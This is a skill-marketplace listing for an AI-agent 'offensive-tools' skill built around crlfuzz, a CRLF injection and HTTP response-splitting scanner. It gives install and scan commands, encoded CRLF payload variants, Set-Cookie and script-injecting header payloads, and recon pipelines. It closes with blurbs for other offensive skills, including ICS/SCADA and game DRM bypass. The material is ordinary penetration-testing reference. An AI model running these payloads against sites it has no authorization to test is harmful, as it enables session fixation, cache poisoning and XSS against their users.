offensive-tools/fuzzing/crlfuzz/SKILL.md
Specialized web fuzzing tool for CRLF injection and HTTP response splitting detection. Use when validating header injection, cookie injection, cache poisoning, and response-splitting vectors by mutating URL/query/header inputs with CR/LF payload families at scale.
npx skillsauth add aeondave/malskill crlfuzzInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Fast CRLF injection scanner — header injection, response splitting, cookie injection.
Use crlfuzz for focused CRLF campaigns after endpoint discovery (ffuf, crawler, or traffic logs), not as a general web scanner.
# Install (Kali)
sudo apt install crlfuzz
# Install via Go
go install github.com/dwisiswant0/crlfuzz/cmd/crlfuzz@latest
# Single URL
crlfuzz -u "https://target.com/page?next=FUZZ"
# From URL list
crlfuzz -l urls.txt
# Pipe from other tools
cat urls.txt | crlfuzz
# With proxy (e.g., Burp)
crlfuzz -u "https://target.com/" -x http://127.0.0.1:8080
| Flag | Purpose |
|------|---------|
| -u, --url <url> | Target URL (place FUZZ at injection point) |
| -l, --list <file> | File with URLs to test |
| -X, --method <verb> | HTTP method (default: GET) |
| -d, --data <data> | POST body data |
| -H, --header <header> | Custom HTTP header (repeatable) |
| -x, --proxy <url> | HTTP/SOCKS5 proxy |
| -o, --output <file> | Save results to file |
| -c, --concurrent <n> | Concurrency level (default: 20) |
| -s, --silent | Silent mode (suppress banner) |
| -v, --verbose | Verbose output |
CRLF = \r\n (ASCII 13 + 10). Injected into HTTP headers, it splits the response:
# Normal URL
https://target.com/redirect?url=/home
# Injected CRLF → splits response and injects headers
https://target.com/redirect?url=%0D%0ASet-Cookie:%20malicious=injected
# Response with injected header:
HTTP/1.1 302 Found
Location: /home
Set-Cookie: malicious=injected ← injected line
# URL-encoded CRLF
%0d%0a
%0D%0A
# Double-encoded
%250d%250a
%25%30%64%25%30%61
# Unicode
%E5%98%8A%E5%98%8D (UTF-8 CRLF-like)
# Null + CRLF
%00%0d%0a
# Header injection payload
%0d%0aSet-Cookie:%20crlftest=injected;path=/
%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>
| Injection Point | Impact |
|-----------------|--------|
| Location: redirect value | Header injection, open redirect |
| Cookie Set-Cookie: header | Session fixation, cookie poisoning |
| Content-Type: value | XSS via response splitting |
| Cache headers | Cache poisoning |
| X-XSS-Protection: | XSS filter bypass |
# Find CRLF-injectable URLs from recon results
cat live-hosts.txt | httpx -silent -path "/?next=FUZZ" | crlfuzz -s
# Combine with ffuf first for URL discovery
ffuf -w paths.txt -u https://target.com/FUZZ -o urls.json
cat urls.json | jq -r '.results[].url' | crlfuzz -l /dev/stdin
After CRLFuzz reports a finding, confirm in Burp Repeater:
GET /redirect?url=%0d%0aSet-Cookie:%20test=crlfinjected HTTP/1.1
Host: target.com
Look for Set-Cookie: test=crlfinjected in the response headers.
Location, Set-Cookie, custom headers).crlfuzz in moderate concurrency first (-c 20..50) to avoid rate-limit noise.-x) and compare with clean control request.# URL set from recon -> CRLF campaign
cat urls.txt | crlfuzz -c 30 -s -o crlfuzz-findings.txt
# Authenticated endpoint test
crlfuzz -u "https://target/app?next=FUZZ" -H "Cookie: session=VALUE" -H "Authorization: Bearer TOKEN" -x http://127.0.0.1:8080
%0d%0a, %250d%250a).data-ai
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
tools
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.